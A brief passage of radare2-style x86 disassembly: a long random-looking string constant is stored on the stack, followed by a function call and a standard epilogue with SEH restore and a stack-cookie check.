mov dword [ebp - 0x8d8], str.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
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x814]
call fcn.00402860
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00408674
mov esp, ebp
pop ebp
ret